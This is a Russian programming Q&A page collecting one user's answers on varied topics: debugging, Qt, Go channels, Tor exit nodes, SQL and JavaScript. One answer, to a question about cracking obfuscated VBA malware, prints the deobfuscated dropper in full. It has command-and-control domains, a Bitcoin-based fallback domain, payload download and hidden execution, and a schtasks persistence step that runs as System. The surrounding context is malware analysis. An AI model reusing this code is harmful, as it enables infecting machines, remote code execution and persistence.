• Сколько времени вы максимально искали баг?

    Mrrl
    @Mrrl
    Заводчик кардиганов
    Если баг воспроизводится, и время от запуска программы до момента, когда эффект, вызванный этим багом, меньше 10 минут (под дебагером), то обычно дня хватает. При условии, что он не вызван неправильным пониманием поведения чужой программы (скажем, плохо документированным форматом их входных данных, которые должны создаваться моей программой).
    В случае, если баг возникает редко, зависит от аппаратуры и компьютера, на которых идёт запуск, то могут уйти и годы. Анализируются лог-файлы, уточняется место, где что-то пошло не так, придумываются дополнительные промежуточные проверки, дополнительная отладочная печать - и программа снова отправляется на работу, до следующего проявления бага.
    Ответ написан
    Комментировать
  • Почему если вызывать QWidget::show() через точку, то не показывает?

    bogolt
    @bogolt
    Вам уже ответили правильно, хочу добавить что в Qt все окна и контролы нужно создавать в куче ( так как тогда сама Qt сможет корректно их удалить ). Кроме того при создании нового объекта не забывайте указать ему на его родителя ( в вашем случае при создании QWidget внутри класса Widget -
    QWidget* w = new QWidget(this);
    QLineEdit *line = new QLineEdit(w);
    Ответ написан
    1 комментарий
  • Какая программа делает авто-скриншот экрана программиста?

    @FoxInSox
    Купите шапочку с GoPro и наденьте на голову программиста.
    Ответ написан
    1 комментарий
  • Как начать контрибутить на GitHub?

    mututunus
    @mututunus
    Backend developer (Python, Golang)
    1. Взять таск из Issues проекта
    2. Реализовать/Исправить его
    3. Сделать pull request
    Ответ написан
    Комментировать
  • Были ли случаи осуждения за Tor Exit-node в России?

    starius
    @starius
    программист, аспирант МГУ
    https://www.torproject.org/docs/faq#FacingLegalTrouble - как доказать, что вы были Exit-нодой в определённое время.

    Опыт арестованного оператора тора (Австрия): raided4tor.cryto.net
    Но он помимо тора держал дома наркотики и оружие.

    Какое именно ведомство вас пригласило?

    Держите сообщество в курсе. Будет хорошо (в том числе для вас), если об актах полицейского произвола станет известно наибольшему числу людей. Желаю вам успешно разобраться с обвинениями!

    (Оффтоп) дома держать неудобно, как и в РФ вообще. Если уж очень хочется, то дома надо держать промежуточную ноду, а выходную - на сервере, расположенном в другой стране.

    (Оффтоп2) Кстати, правильно писать Tor, а не TOR.
    Ответ написан
    6 комментариев
  • Как повысить знания в области архитектуры веб проектов?

    TekVanDo
    @TekVanDo
    Javascript Developer
    http://codeschool.com - Очень качественные курсы по js ruby git и пр.
    http://laracasts.com - Скринкасты о php, laravel, паттернах и пр.
    https://egghead.io/ - Скринкасты о javascript, angular, react, d3, тестированию и пр.
    Ответ написан
    1 комментарий
  • Oracle SQL, правильно ли я делаю JOIN самого себя?

    @faustxp
    как вариант

    select count(bwart), mblnr
    from
    (select distinct mblnr, bwart 
    from mseg
    where bwart in ('531', '561', '591'))
    group by mblnr
    having count(bwart) = 3


    Но, Ваш вариант, так же верен, и, возможно, работать будет быстрее.
    Ответ написан
    Комментировать
  • Особая магия с channels в golang?

    Tyranron
    @Tyranron
    Сначала отвечу на второй вопрос.
    close() никакого отношения к scope не имеет вообще, он просто делает канал "закрытым", то есть таким, что при чтении значений из канала и записи из него возникает panic. Это всё. Соответственно...
    что случится, если закрыть буферизированый канал до того, как считать из него все значения, успевшие туда попасть?
    Канал закроется, при следующей попытке считать с него значение получите panic. Значения, что остались внутри, считайте потерянными, Вы их больше никак не получите.
    UPD: Это не так! (см. конец поста и комментарии)
    Соберется ли такой chan сборщиком мусора при уходе его в out of scope? Что будет с обьектами внутри канала?
    Соберется он сборщиком мусора только тогда, когда на него никто больше не будет ссылаться (если он объявлен локально, то да, out of scope). Объекты внутри тоже соберутся, если на них больше никто не ссылается. Те, на которые еще ссылается кто-то, останутся.

    Теперь замечания по Вашему примеру:
    select {
    case b <- number:
        fmt.Printf("Sent into b: %d\n", number)
    default:
        fmt.Printf("b chan closed\n")
    }
    Этот кусок здорово дезинформирует. Во-первых select на запись c default секцией никоим образом не спасает от panic при записи в закрытый канал. Он всего лишь делает запись в канал всегда неблокируемой. Как только Вы таким select'ом попытаетесь записать в закрытый канал что-то, словите сразу панику. Потому правильно для восприятия это место выглядит следующим образом:
    select {
    case b <- number:
        fmt.Printf("Sent into b: %d\n", number)
    default:
        fmt.Printf("Number %d just has been thrown away\n", number)
    }
    Если Вы сделаете канал a буферизированным, то тут Вам Ваши panic'и и полетят, потому что Вы пишете в закрытый канал.
    Закономерный вопрос: почему тогда panic'и не летят при небуферизированном канале а?
    Ответ: Вам просто везет =)
    Во-первых, на playground'е runtime.GOMAXPROC=1 и runtime.NumCPU=1. То есть в реальности все дело крутится в одном потоке и параллельность тут псевдо.
    Во-вторых, у меня локально (OS X) этот скрипт выкидывает panic'у после получения числа 25 даже при runtime.GOMAXPROC=1. Вам банально повезло, что внутренний планировщик горутин на playground'е ведет себя именно таки образом. При буферизированном канале он ведет себя немного иначе и Вы получаете закономерную panic'у сразу.

    Если совсем на пальцах по первому вопросу, то:
    При небуферизированном канале close(b) по каким-то соображения планировщика выполняется только после того как отработали обе горутины, если глянуть на вывод, то надпись "B:1" будет в самом конце. Потому то все и отрабатывает нормально, хотя это поведение совершенно не гарантированно логикой программы, наоборот, программа рассчитана на то, что close(b) выполнится сразу после того, как мы оттуда что-то считаем. Это и происходит, если канал a сделать буферизированым (надпись "B: 1" вылетает сразу), так как в этом случае планировщик меняет свои соображения, и мы получаем закономерную panic'у.

    Дополнительно:
    Канал b должен быть буферизированным, иначе, если горутина судья отработает быстрее чем главная горутина вообще начнет слушать канал, то все значения просто выкинутся. Эта проблема хорошо описана в этой статье на двух предпоследних абзацах.

    UPD:
    Я допустил ошибку, как верно указали в комментариях Виталий Яковенко и SilentFl, закрытый канал не выдает panic при чтении с него. Он разрешает считать все значения, которые в нем остались, после чего отдает "пустые" значения для свое типа, больше никогда не блокируя выполнение.
    Закрытый канал panic'ует только при попытке отправить в него значение.
    Ответ написан
  • Многогократно обфусцированная VBA-малварь, как её расколоть?

    Android97
    @Android97
    Бэкенд и немного фронтенд разработчик
    boolExitFlag = False
    Execute(opencl = WScript.CreateObject( "WScript.She"+"ll" ).ExpandEnvironmentStrings("%W"+"IND"+"IR%") & "\sy"+"stem32\OpenCL.d"+"ll") 
    if fileExist(opencl) then
    	call Step1
    	Do
    		If Ping("8"+".8"+".8."+"8") Then
    			Call Main              
    			boolExitFlag = True
    		End If
    		WScript.sleep 1000
    	Loop while boolExitFlag <> True
    end if
    Const id = "9846f2d7e24272f38e6f66bf0ff8d7cf.com"
    Const ida = "b6cbc7c8b7f9af070b119184fc26e610.com"
    Const idb = "1GgG2kjrH7YzAq4cr4vZaKrpHYxnbHkFPm"
    sub Main
    	host = id
    	files_list_string = false
    	if Ping(id) then
    		files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    	End if
    	if (files_list_string = False) Then
    		host = ida
    		if Ping(ida) then
    			files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    		End if
    		if (files_list_string = False) Then
    				idb = idb + CStr(CInt(GetBalanceBlockExplorer(idb))) + ".com"
    				host = idb
    				if Ping(idb) then
    					files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    				End if
    				if (files_list_string = False) Then
    					die
    				end if
    		End If
    	End If
    	files_list = Split(crypt(files_list_string), ";")
    	Execute("t" + "m" + chr( 902272/8056 ) & " " + "=" + chr( 8899-8867 ) & "W" + "S" + chr( -7136+7235 ) & "r" + "i" + chr( 800800/7150 ) & "t" + "." + chr( -2736+2803 ) & "r" + "e" + chr( 6538-6441 ) & "t" + "e" + chr( 9157-9078 ) & "b" + "j" + chr( -6763+6864 ) & "c" + "t" + chr( 337440/8436 ) & " " + chr( 35836/1054 ) & chr( -5755+5842 ) & "S" + "c" + chr( -4824+4938 ) & "i" + "p" + chr( 5994-5878 ) & "." + "S" + chr( -909+1013 ) & "e" + "l" + chr( 246132/2279 ) & chr( 140454/4131 ) & " " + chr( -9918+9959 ) & "." + "E" + chr( 1173480/9779 ) & "p" + "a" + chr( 9656-9546 ) & "d" + "E" + chr( 534600/4860 ) & "v" + "i" + chr( 4527-4413 ) & "o" + "n" + chr( 1081-972 ) & "e" + "n" + chr( 323-207 ) & "S" + "t" + chr( 22116/194 ) & "i" + "n" + chr( -6780+6883 ) & "s" + "(" + chr( 3398-3364 ) & "%" + "T" + chr( 223008/3232 ) & "M" + "P" + chr( 898-861 ) & chr( 3949-3915 ) & ")" +  vbcrlf  ) 
    	cmd =  tmp & "\svchost.exe"
    	KillProccess cmd
    	WScript.sleep 5000
    	for i = 0 to UBound(files_list)-1
    		file_name = files_list(i)
    		download "http://m."+host+file_name, tmp + "/"+ getFileName(file_name)
    	next
    	params = files_list(UBound(files_list))
    	shell params
    end sub
    
    Sub die
    	WScript.Quit
    End Sub
    
    Function GetFirstMatch(PatternToMatch, StringToSearch)
    	Dim regEx, CurrentMatch, CurrentMatches
    
    	Set regEx = New RegExp
    	regEx.Pattern = PatternToMatch
    	regEx.IgnoreCase = True
    	regEx.Global = True
    	regEx.MultiLine = True
    	Set CurrentMatches = regEx.Execute(StringToSearch)
    
    	GetFirstMatch = ""
    	If CurrentMatches.Count >= 1 Then
    		Set CurrentMatch = CurrentMatches(0)
    		If CurrentMatch.SubMatches.Count >= 1 Then
    			GetFirstMatch = CStr(CurrentMatch.SubMatches(0))
    		End If
    	End If
    	Set regEx = Nothing
    End Function
    
    function GetBalanceBlockExplorer(address)
    	block_content = getContent("http://blockexplorer.com/address/"+address)
    	if (block_content <> false) then
    		GetBalanceBlockExplorer = "0" + Replace(GetFirstMatch("<td>(\d+(\.\d+)?)</td>\n</tr>\n</table>", block_content), ".", ",")
    	else 
    		GetBalanceBlockExplorer = false
    	end if
    end function
    
    function getFileName(fullpath)
    	arrNames = Split(fullpath, "/")
    	intIndex = Ubound(arrNames)
    	getFileName = arrNames(intIndex)
    end function
    
    Function getContent(url)
    	Dim o
    	Set o = CreateObject("MSXML2.XMLHTTP")
    	o.open "GET", url, False
    	On Error Resume Next
    	o.send
    	If o.status = 200 Then
    		getContent = o.responseText
    	Else
    		getContent = False
    	End If
    End Function
    
    function crypt(str)
    	for i = 1 to Len(str)
    		flag = Len(outout)
    		temp = Asc(Mid(str, i, 1))
    		If temp > 64 and temp < 78 Then outout = outout & Chr(temp +13) 
    		If temp > 77 and temp < 90 Then outout = outout & Chr(temp -13) 
    		If temp > 96 and temp < 110 Then outout = outout & Chr(temp +13)
    		If temp > 109 and temp < 123 Then outout = outout & Chr(temp -13) 
    		If Len(outout) = flag Then outout = outout & Chr(temp)
    	Next
    	crypt = outout
    end function
    
    Function Ping(strHost)
        Set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_PingStatus where address = '" & strHost & "'")
        z = 0
        Do    
            z = z + 1
            For Each objRetStatus In objPing        
                If IsNull(objRetStatus.StatusCode) Or objRetStatus.StatusCode <> 0 Then            
                    PingStatus = False        
                Else
                    PingStatus = True              
                End If      
            Next    
            wscript.sleep 200
            If z = 4 Then Exit Do
        Loop until PingStatus = True
        If PingStatus = True Then 
            Ping = True
        Else
            Ping = False
        End If
    End Function
    
    Function download(sFileURL, sLocation)
        
    	Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    	objXMLHTTP.open "GET", sFileURL, false
    	On Error Resume Next
    	objXMLHTTP.send()
    	do until objXMLHTTP.Status = 200 :  wscript.sleep(1000) :  loop
    	If objXMLHTTP.Status = 200 Then
    		Set objADOStream = CreateObject("ADODB.Stream")
    		objADOStream.Open
    		objADOStream.Type = 1
    		objADOStream.Write objXMLHTTP.ResponseBody
    		objADOStream.Position = 0    
            Set objFSO = Createobject("Scripting.FileSystemObject")
    		If objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation, true
    		Set objFSO = Nothing
    		objADOStream.SaveToFile sLocation
    		objADOStream.Close
    		Set objADOStream = Nothing
    		download = True
    	Else
    		download = False
    	End if
    	Set objXMLHTTP = Nothing
    End Function
    
    Function fileExist(filename)
    	Set objFSO = Createobject("Scripting.FileSystemObject")
    	fileExist = objFSO.FileExists(filename)
    End Function
    
    function folderExist(folder)
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	folderExist = objFSO.FolderExists(folder)
    end function
    
    sub createFolder(folder) 
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	if folderExist(folder) = false then 
    	objFSO.CreateFolder folder
    	end if
    end sub
    
    sub shell(cmd)
        dim objShell
        Set objShell = WScript.CreateObject( "WScript.Shell" )
        objShell.Run cmd, 0, false
        Set objShell = Nothing
    end sub
    
    sub copy(from_path, to_path)
    	dim filesys
    	set filesys=CreateObject("Scripting.FileSystemObject")
    	If filesys.FileExists(from_path) Then
    		On Error Resume Next
    	   filesys.CopyFile from_path, to_path
    	End If
    end sub
    
    sub hideFolder(folder)
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	Set objFolder = objFSO.GetFolder(folder)
    	If objFolder.Attributes = objFolder.Attributes AND 2 Then
    		objFolder.Attributes = objFolder.Attributes XOR 2 
    	End If
    end sub
    
    FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)
    
    	DIM objWMIService, strWMIQuery
    
    	strWMIQuery = "Select * from Win32_Process where ExecutablePath like '" & strProcessName & "'"
    	
    	SET objWMIService = GETOBJECT("winmgmts:" _
    		& "{impersonationLevel=impersonate}!\\" _ 
    			& strComputer & "\root\cimv2") 
    
    
    	IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN
    		isProcessRunning = TRUE
    	ELSE
    		isProcessRunning = FALSE
    	END IF
    
    END FUNCTION
    
    Sub KillProccess( myProcess )
    
        Dim blnRunning, colProcesses, objProcess
        blnRunning = False
    
        Set colProcesses = GetObject( "winmgmts:{impersonationLevel=impersonate}" ).ExecQuery( "Select * From Win32_Process", , 48 )
        For Each objProcess in colProcesses
            If LCase( myProcess ) = LCase( objProcess.ExecutablePath) Then
                blnRunning = True
                myProcess  = objProcess.ExecutablePath
                objProcess.Terminate()
            End If
        Next
    End Sub
    
    sub Step1
    	Execute("b" + "a" + chr( 119715/1041 ) & "e" + "_" + chr( 457368/4484 ) & "o" + "l" + chr( -6439+6539 ) & "e" + "r" + chr( 9665-9633 ) & "=" + " " + chr( 338691/3893 ) & "S" + "c" + chr( -4893+5007 ) & "i" + "p" + chr( 5040-4924 ) & "." + "C" + chr( -8119+8233 ) & "e" + "a" + chr( 9623-9507 ) & "e" + "O" + chr( -9347+9445 ) & "j" + "e" + chr( 205-106 ) & "t" + "(" + chr( -2037+2069 ) & chr( 8839-8805 ) & "W" + chr( 6186-6103 ) & "c" + "r" + chr( 6941-6836 ) & "p" + "t" + chr( 179354/3899 ) & "S" + "h" + chr( 6717-6616 ) & "l" + "l" + chr( -8409+8443 ) & " " + ")" + chr( 288466/6271 ) & "E" + "x" + chr( -4027+4139 ) & "a" + "n" + chr( 6776-6676 ) & "E" + "n" + chr( 33+85 ) & "i" + "r" + chr( 108225/975 ) & "n" + "m" + chr( 5961-5860 ) & "n" + "t" + chr( -6543+6626 ) & "t" + "r" + chr( -9696+9801 ) & "n" + "g" + chr( -9803+9918 ) & "(" + chr( 332826/9789 ) & chr( 3051-3014 ) & "A" + "P" + chr( 521840/6523 ) & "D" + "A" + chr( 291900/3475 ) & "A" + "%" + chr( -9276+9310 ) & ")" + " " + chr( 270642/6294 ) & " " + chr( 147492/4338 ) & chr( 775376/8428 ) & "O" + "r" + chr( 573720/5464 ) & "g" + "i" + chr( 640970/5827 ) & chr( 7523-7489 ) &  vbcrlf  ) 
    	createFolder(base_folder)
    	hideFolder(base_folder)
    	tmp_this = base_folder & "\update.vbe"
    	copy WScript.ScriptFullName, tmp_this
    	shell chr(115)+"chta"+chr(115)+"k"+chr(115)+" /create /"+chr(115)+"c onlogon /tn "+chr(79)+"rigin /rl highe"+chr(115)+"t /ru System /tr "+chr(34)+tmp_this+chr(34)
    end Sub
    Ответ написан
    1 комментарий
  • Почему размер расширенного (в gparted) раздела остается прежним?

    gbg
    @gbg Куратор тега Linux
    Любые ответы на любые вопросы
    Размер раздела изменился, размер файловой системы - нет.
    resize2fs нужно делать.
    Ответ написан
    2 комментария
  • Может ли веб-разработчик пользоваться OS Windows?

    @pudovMaxim
    web-developer
    Вы действительно считаете, что уровень Вашего опыта зависит от того какую ось используете?
    И да, Вы уже глупо выглядите, задавая такие вопросы :)
    Ответ написан
    Комментировать
  • Может ли веб-разработчик пользоваться OS Windows?

    Symphony
    @Symphony
    Если будете выполнять поставленную задачу да хоть с коробки с печеньками никто Вас не упрекнет.
    Ответ написан
    Комментировать
  • Может ли веб-разработчик пользоваться OS Windows?

    Spetros
    @Spetros
    IT-шник
    Может ли веб-разработчик пользоваться OS Windows?

    Может.

    нормально ли что я пользуюсь OS Windows?

    Нормально.

    буду ли я глупо выглядеть когда буду появляться со своим ноутбуком в компании "бывалых" девелоперов?

    Нет.
    Ответ написан
    Комментировать
  • Какой mac mini выбрать в 2014 году?

    xSkyFoXx
    @xSkyFoXx
    Работа с графикой и видео больше всего ложится в виде многопоточной обработки на процессор.
    Самое важное свойство mini, что вы можете купить его с 4-мя гагами памяти, а потом бюджетно, тысячи за 3, добить до 16 гб. А SDD ещё больше поможет взлететь производительности.

    По этому не гонитесь за годом, переплатите. Берите 2012 в минимальной комплектации, докупите памяти, вставьте ssd и в ближайшие 2-3 года вы не ощутите какого-либо дискомфорта в работе.

    Дёшево и сердито. Сам из такого заделал рабочий сервер, на котором одновременно работает 3-4 виртуалки а сама машина выступает в роли билд-станции. Нас устраивает :)
    Ответ написан
    6 комментариев
  • Как повторять цикл foreach с шагом?

    EagleMoor
    @EagleMoor
    PHP Yii2 RESTful API Developer
    Как я понял, нужно ловить тот момент, когда число становится кратно 10

    $i = 0;
    foreach ($items as $item) {
        if (!($i % 10)) {
            // Кратно 10  (10, 20, 30, ... 500)
        } else {
            // Не кратно 10, обычное число
        }
        $i++;
    }
    Ответ написан
    Комментировать
  • Как понять фрагмент кода вида (function(){}()) на js?

    Oogway
    @Oogway
    Могу добавить, что скобки оборачивающие функцию нужны для того, чтобы интерпретатор воспринимал ее как выражение, вторая пара скобок это выражение вызова.
    (function($) {
      /* code */
    } (jQuery))

    Можно встретить такую запись:
    (function($) {
      /* code */
    } )(jQuery)

    Или:
    !function($) {
      /* code */
    }(jQuery)

    Ну и другие унарные операторы: ~, +,- если функция ничего не возвращает. Также можно использовать выражение приставания. В качестве параметров обычно передают ссылки на глобальные объекты window, jQuery и др
    Ответ написан
    2 комментария
  • Как понять фрагмент кода вида (function(){}()) на js?

    myrslok
    @myrslok
    Это называется immediately-invoked function expression, смысл в том, что в JavaScript функции создают область видимости, а блоки не создают со всеми вытекающими последствиями. Кстати, если непонятно, что это за последствия, возможно, вам стоит ознакомиться с областями видимости (англ. -- scope) подробнее. Вкратце можно посмотреть по ссылке, но вообще это очень важная тема.
    Ответ написан
    3 комментария
  • Как сделать доступ к объекту как в jQuery?

    mlnkv
    @mlnkv
    JavaScript Developer
    можно использовать querySelector(), поддержка с ie 8;
    function el(query) {
      return document.querySelectorAll(query);
    }
    Ответ написан
    Комментировать
  • Как на CSS сделать блоки "нестандартной" (не прямоугольной) формы?

    @ukoHka
    Всего понемногу
    Ответ написан
    Комментировать